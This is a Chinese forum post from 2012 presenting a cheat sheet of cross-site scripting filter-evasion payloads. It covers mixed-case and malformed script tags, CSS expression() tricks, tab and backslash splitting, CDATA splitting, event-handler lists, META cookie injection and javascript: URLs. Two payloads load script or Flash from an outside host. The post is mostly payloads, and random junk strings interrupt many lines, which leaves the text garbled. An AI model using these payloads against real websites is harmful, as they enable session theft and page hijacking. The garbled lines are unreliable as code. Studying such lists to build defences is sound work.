找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2558|回复: 0
打印 上一主题 下一主题

Cross Site Scripting(XSS)攻击手法介绍

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-31 09:59:28 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1. 改变字符大小写
0 R  b; C/ v8 b3 m; H$ [/ k6 g8 u: P: ]+ D/ [7 @6 E7 c

& e) O- T0 e; F9 Q; Z
$ R$ D+ B( B& S" X    <sCript>alert(‘d’)</scRipT>/ H) X5 T* T7 R3 @

# Z2 x7 F1 ^. U1 b3 t; q( C2. 利用多加一些其它字符来规避Regular Expression的检查
9 w6 I. ]2 o% r8 c
9 z7 ]0 E$ I: z- ]* ^( C    <<script>alert(‘c’)//<</script>- I$ S* Z: g" t- U: V! P' d
5 p7 L8 o/ M( M
    <SCRIPT a=">" SRC="t.js"></SCRIPT>& v1 a* o8 ^8 k/ @6 o4 B
9 b- y! f. ^. V/ q
    <SCRIPT =">" SRC="t.js"></SCRIPT>  N* ^" v' A, K3 n+ L$ \1 H

+ {1 ^) i: ?" o1 m) I  W    <SCRIPT a=">" ” SRC="t.js"></SCRIPT>
, R: g: g5 d' l9 R& W* x
4 e/ k! `+ g- a0 s4 Y, E" M    <SCRIPT "a=’>’" SRC="t.js"></SCRIPT>
4 O8 ~3 Y1 q0 w* d
1 i, L) c, j9 d% z    <SCRIPT a=`>` SRC="t.js"></SCRIPT>
: G- I# j) B/ d8 m* J, K
) m% @: m+ c$ W! q0 G    <SCRIPT a=">’>" SRC="t.js"></SCRIPT>
/ ?( D5 m* N+ H+ @: }, |/ D  J; J+ w% C! X
3. 以其它扩展名取代.js$ K+ u. g& D8 m
1 r. r  i$ F* c8 g: F' n) I
    <script src="bad.jpg"></script>5 ?8 @& D) U5 u# Y9 D
0 g" v/ z" ^6 T7 z% c
4. 将Javascript写在CSS档里7 ]) R0 |% T. h! s. A, q/ L
% F6 s" I! ~- N6 f8 b$ f
    <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">+ J! ?, ~4 U8 c$ N. J" W' G0 |

) }$ k5 J+ \' d       example:
% i; @/ d* F! C, V9 J4 {+ ^3 s2 v. }  h7 p3 Q9 o
          body {
4 T1 W0 s2 @; {( _: \, {' g
* @: `8 H# G4 N0 h               background-image: url(‘javascript:alert("XSS");’)
' w6 d2 m" s) q0 d) U' p" p% K, v; k7 P# e
          }
- h* z" r) ~' o2 V* _. N, d
( w+ c; ^/ ?9 t% O' `8 r7 R5. 在script的tag里加入一些其它字符
/ u) q" t- j* C5 X  g& s
- J) o$ T; \% x7 o# T    <SCRIPT/SRC="t.js"></SCRIPT>$ _8 ~/ U' S! I2 j$ ~

! {$ L  D9 E  l% \! l2 u    <SCRIPT/anyword SRC="t.js"></SCRIPT>$ K6 y. E" E# v, A4 e3 t

+ l. a- _3 [: \8 k+ e5 q6. 使用tab或是new line来规避
6 ^; K" J$ b( _, C
# q5 B( ]. S$ e& Y$ _    <img src="jav ascr ipt:alert(‘XSS3′)">
1 F1 r! i* H" {- c8 V- d, X: a& ?" S6 _; `
    <img src="jav ascr ipt:alert(‘XSS3′)">  H8 j: X9 P4 M- ]9 _: I' r

5 N3 o, Y" y! `0 t    <IMG SRC="jav ascript:alert(‘XSS’);">
; e2 i, }2 N0 t4 B
2 S  D" u6 f4 Y7 R% H2 n8 ]         -> tag
* v, t( d/ ^+ |; X& i7 }3 _9 n0 L( s* {5 V8 S
         -> new line
6 t; ]) g, F! T1 g" R2 r5 j
+ b7 v: [) I/ G, h7. 使用"\"来规避
$ f1 |- k9 W% p* N
, E' g* o- B" U2 o- Y9 |: |    <STYLE>@im\port’\ja\vasc\ript:alert("XSS32")’;</STYLE># G9 K; i0 _; C! U  N

6 e# m4 r; P7 s% e    <IMG STYLE=’xss:expre\ssion(alert("XSS33"))’>! S" v, ~  C9 I- V' X0 d+ O
( O+ ?- {8 P% [) e6 V
    <IMG STYLE="xss:expr/*anyword*/ession(alert(‘sss’))">* }: ~" f  P" u/ ?

6 W% e% K: y% e1 H: T5 d    <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">3 t" H' z) }! O' O5 I9 e

  _7 Z* ?$ d4 d& |    <A STYLE=’no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))’>: O$ x: V& v, P7 d4 ^4 f' t

/ I' a5 ]2 E( J6 W8. 使用Hex encode来规避(也可能会把";"拿掉)# i* D3 F$ @8 o; a: F2 [
% ^2 {& w  S$ s: q7 K, M
    <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">- `6 G3 E7 `: p) D
% [. x8 N! y: ]( X) l
        原始码:<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
/ [& k' Q1 u2 H6 `
( y1 M( p5 I& x1 U9 L9 v    <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">
6 j8 [6 o* ]& E( r8 @1 F/ X  q- V; M
6 F. i5 O# z" l4 f) Q! A        原始码:<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">6 A) b7 w7 B+ p; s5 h, W7 W: d
  ?+ c  |+ b( z, o
9. script in HTML tag
1 Q% D% ~4 V( k* l0 k
/ R$ J7 _% p" v* l4 B. D    <body onload=」alert(‘onload’)」>
. z" w& {3 O' T" W; m% z' r, C; m* }' {7 k
        onabort, onactivate, onafterprint, onafterupdate, onbeforeactivate, onbeforecopy, onbeforecut, onbeforedeactivate, onbeforeeditfocus, onbeforepaste, onbeforeprint, onbeforeunload, onbeforeupdate, onblur, onbounce, oncellchange, onchange, onclick, oncontextmenu, oncontrolselect, oncopy, oncut, ondataavailable, ondatasetchanged, ondatasetcomplete, ondblclick, ondeactivate, ondrag, ondragend, ondragenter, ondragleave, ondragover, ondragstart, ondrop, onerror, onerrorupdate, onfilterchange, onfinish, onfocus, onfocusin, onfocusout, onhelp, onkeydown, onkeypress, onkeyup, onlayoutcomplete, onload, onlosecapture, onmousedown, onmouseenter, onmouseleave, onmousemove, onmouseout, onmouseover, onmouseup, onmousewheel, onmove, onmoveend, onmovestart, onpaste, onpropertychange, onreadystatechange, onreset, onresize, onresizeend, onresizestart, onrowenter, onrowexit, onrowsdelete, onrowsinserted, onscroll, onselect, onselectionchange, onselectstart, onstart, onstop, onsubmit, onunload- ^9 J5 |  S5 X( V5 g

0 j/ s7 |/ [2 l  J10. 在swf里含有xss的code
" u: n/ W! N; F8 ]- |8 Q4 E8 b; s+ u  J
    <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
( `  N5 M2 b! e2 N) w
) N& ^/ x" J% u1 L11. 利用CDATA将xss的code拆开,再组合起来。7 i) Y! A! J7 b0 N$ p! X3 j* |
8 ~* k  v0 m' o
    <XML ID=I><X><C>
6 z) H4 C+ s8 F# B9 a$ {" f' K; ?) O. Q1 S
    <![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>! F9 T3 t# c8 g) [+ E( u
, n5 E. f" K' y! t, V: }, f+ _2 G
    </C></X>
: R# ^2 A: {& i( q2 i
- O# |7 e5 ^2 ~# M: N9 j" a: |" j# ]    </xml>
, l# e( Q1 f: f& N' L
, O) a' i* C0 F! V# q    <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
6 m: N+ f. p3 w  ?
! ^- l& Q8 x3 H( a3 T    <XML ID="xss"><I><B><IMG SRC="javas<!– –>cript:alert(‘XSS’)"></B></I></XML>
. a/ R  W3 g/ ^+ P, [+ ]6 O8 O' r1 b; c6 U! x
    <SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
, Y8 p( \: u4 f$ u3 `0 V: F, L, S2 D  ~% B+ U
12. 利用HTML+TIME。
' O% a1 a0 r+ e8 E" f' y# o/ L
    <HTML><BODY>
8 `# B4 |$ H1 c. k1 `/ @
& |6 D, O% h  I8 J- V, u! V    <?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">( p& |( z5 k* V% Y1 h' f2 [$ \
& \- R9 A/ \5 n$ Y1 ?/ B7 f
    <?import namespace="t" implementation="#default#time2">
5 A1 ?3 `% o6 N% m" x  S, Z9 h) ]$ d& h) }
    <t:set attributeName="innerHTML" to="anyword<SCRIPTDEFER>alert("XSS")</SCRIPT>">$ n3 E; I* w, C9 L2 s% R

$ G. `6 V' _. p2 Y: C    </BODY></HTML>$ `' L6 O7 Z! `( t5 S
" I8 M; _: Z/ M3 ~! j
13. 透过META写入Cookie。
1 |0 S+ o% Q, r4 V5 n2 p7 K) {. L5 D. E: K; x
    <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(‘XSS’)</SCRIPT>">/ g" @- ^5 x' Z0 Z8 |) b
) J" `( ?! H  [2 t9 Q) m+ L. P
14. javascript in src , href , url
" Q+ ]- C3 J% O4 R  a- W
9 ~: l, a8 u% @4 p# k8 Q- L( ?    <IFRAME SRC=javascript:alert(’13′)></IFRAME>
3 I: `- h1 ~  F$ b( {4 R  J0 u5 y4 B- }# p  \
    <img src="javascript:alert(‘XSS3′)">  e7 W9 O# N) S" o0 @

4 u7 W8 V6 _+ e1 _2 y! S<IMG DYNSRC="javascript:alert(‘XSS20′)">
; u8 a' t. g, F6 {
' k% O8 b" t9 ]* n    <IMG LOWSRC="javascript:alert(‘XSS21′)">( t; R, g* p* {7 M3 C
5 Z7 R& R" L5 F) G3 J5 R
    <LINK REL="stylesheet" HREF="javascript:alert(‘XSS24′);">1 e% F( }4 V+ m% n$ F9 e

9 F( V% w: V( P+ [! f' h; K7 b    <IFRAME SRC=javascript:alert(‘XSS27′)></IFRAME>
3 V- p. y2 l( F3 Z3 ^9 O0 E4 B) H
& b8 n  W; s+ p' E    <TABLE BACKGROUND="javascript:alert(‘XSS29′)">1 a4 Q/ h% e/ U2 ?! Q. a

) E3 c7 \& V- S) K9 @    <DIV STYLE="background-image: url(javascript:alert(‘XSS30′))">) C4 S& z  v2 p% L; \: M0 h8 w% N
3 v! C3 y9 z- A
    <STYLE TYPE="text/css">.XSS{background image:url("javascript:alert(‘XSS35′)");}# l5 Z0 A5 i/ Q- L; `5 f
( i0 b8 H4 d$ J+ n* Q* ~( i( {
    </STYLE><A CLASS=XSS></A>  u) d1 `" I' F

5 c* K2 @  }$ u    <FRAMESET><FRAME SRC="javascript:alert(‘XSS’);"></FRAMESET>" q4 X- i, U' |2 C0 V4 v' H1 z

' }! g9 i' t! p7 M+ y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表